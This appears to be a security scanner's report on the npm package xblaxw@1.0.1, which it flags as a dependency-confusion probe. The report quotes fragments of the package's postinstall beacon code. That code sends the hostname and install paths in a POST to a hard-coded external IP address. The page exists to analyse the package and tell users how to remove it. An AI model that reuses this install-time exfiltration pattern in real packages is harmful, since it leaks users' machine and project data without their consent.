xblaxw@1.0.1
Compatibility shim.
This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.
AI Security Review
scanned 14d ago · by lpm-firewall-aiSource inspection confirms automatic host and project metadata reporting to a hard-coded external endpoint, with an additional import-time trigger. This is active data exfiltration, not merely an inert network reference.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Package installation or importing index.js.
Impact
The recipient can learn host identity and local project path information.
Mechanism
beacon.cjs builds a JSON payload with the hostname, install path, current directory, and npm user agent, then sends it in an HTTP POST request.
Attack narrative
During postinstall, beacon.cjs sends machine and project-location metadata to a fixed external IP. Importing index.js invokes the same beacon, so the report can also occur at runtime.
AI rationale
Source inspection confirms automatic host and project metadata reporting to a hard-coded external endpoint, with an additional import-time trigger. This is active data exfiltration, not merely an inert network reference.
Evidence
package.jsonbeacon.cjsindex.js
Network endpoints1
185.158.107.175:8787/_ah/dc
Decision evidence
public snapshotAI called this Malicious at 98.0% confidence as Malware with low false-positive risk.
Evidence for block
- The postinstall hook runs beacon.cjs automatically during installation.
- beacon.cjs sends a POST to a hard-coded external IP address.
- The payload includes the machine hostname, install path, current directory, and npm user agent.
- Importing index.js also triggers the beacon.
Evidence against
Behavioral surface
Network
UrlStrings
Source & flagged code
8 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg6"scripts": {
"postinstall": "node beacon.cjs"
},
"files":
High
Suspicious Lifecycle Evidence
The postinstall hook runs beacon.cjs automatically during installation.
package.jsonView on unpkg · L6beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "xblaxw";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
Findings
8 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidenceindex.js
HighAi Review Evidencebeacon.cjs
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to xblaxw@1.0.1.
See all versions of xblaxw for other recorded verdicts.
- Avoid installing xblaxw@1.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.